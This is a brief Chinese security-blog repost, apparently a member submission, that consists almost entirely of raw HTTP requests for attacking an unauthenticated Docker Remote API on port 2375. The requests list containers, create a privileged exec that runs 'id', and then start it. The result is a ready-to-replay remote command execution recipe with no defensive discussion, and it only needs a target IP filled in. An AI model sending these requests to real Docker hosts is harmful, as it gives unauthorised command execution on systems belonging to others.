前言:
补档公众号:棉花糖网络安全圈 的文章,原文为会员投稿。
方法:
GET /containers/json HTTP/1.1
User-Agent: Java/17.0.5
Host: ip:2375
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
POST /containers/195dd8c882f192b53ce38e88164a0936cc30d291f5286983671250659e08a4b2/exec HTTP/1.1
User-Agent:Mozilla/5.0(Macintosh;IntelMac OS X 10.12; rv:65.0)Gecko/20100101Firefox/65.0
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Host: ip:2375
Accept: text/html, image/gif, image/jpeg,*; q=.2,*/*; q=.2
Connection: close
Content-Length:141
{
"AttachStdin":true,
"AttachStdout":true,
"AttachStderr":true,
"Cmd":[
"id"
],
"DetachKeys":"ctrl-p,ctrl-q",
"Privileged":true,
"Tty":true
}
取出响应id
POST /exec/92839a23e062ba4f2f4b4ad7ad4625761bda6e832a7c4712234fc10e505ba355(响应id)/start HTTP/1.1
User-Agent:Mozilla/5.0(Macintosh;IntelMac OS X 10.12; rv:65.0)Gecko/20100101Firefox/65.0
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Host: ip:2375
Accept: text/html, image/gif, image/jpeg,*; q=.2,*/*; q=.2
Connection: close
Content-Length:31
{
"Detach":false,
"Tty":false
}
大哥的话:
——The End——